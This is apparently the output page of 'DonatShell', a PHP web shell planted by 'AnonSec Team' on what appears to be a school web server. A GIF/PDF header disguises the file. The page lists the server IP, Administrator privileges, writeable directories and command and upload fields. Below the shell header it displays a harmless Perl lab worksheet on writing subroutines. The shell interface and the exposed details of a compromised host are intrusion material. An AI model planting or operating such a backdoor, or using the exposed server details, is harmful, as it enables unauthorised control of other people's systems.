GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1615/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1615/Lab04.txt
1. [12] Write a subroutine, named total, that returns the total of a list of numbers.
(Hint: the subroutine should not perform any I/O; it should simply process its
parameters and return a value to its caller.) Try it out in this sample program, which
merely exercises the subroutine to see that it works. The first group of numbers
should add up to 25.
my @fred = qw{ 1 3 5 7 9 };
my $fred_total = total(@fred);
print "The total of \@fred is $fred_total.\n";
print "Enter some numbers on separate lines: ";
my $user_total = total(<STDIN>);
print "The total of those numbers is $user_total.\n";

2. [5] Using the subroutine from the previous problem, make a program to calculate
the sum of the numbers from 1 to 1000.

3. [18] Extra credit exercise: write a subroutine, called &above_average, that takes a
list of numbers and returns the ones that are above the average (mean). (Hint: make
another subroutine that calculates the average by dividing the total by the number
of items.) Try your subroutine in this test program.
my @fred = above_average(1..10);
print "\@fred is @fred\n";
print "(Should be 6 7 8 9 10)\n";
my @barney = above_average(100, 1..10);
print "\@barney is @barney\n";
print "(Should be just 100)\n";

4. [10] Write a subroutine, named greet, that welcomes the person you name by
telling them the name of the last person it greeted:

5. [10] Modify the previous program to tell each new person the names of all of the
people it has previously greeted:
greet( "Fred" );
greet( "Barney" );
greet( "Wilma" );
greet( "Betty" );
This sequence of statements should print:
Hi Fred! You are the first one here!
Hi Barney! I've seen: Fred
Hi Wilma! I've seen: Fred Barney
Hi Betty! I've seen: Fred Barney Wilma

55

Anon7 - 2022
AnonSec Team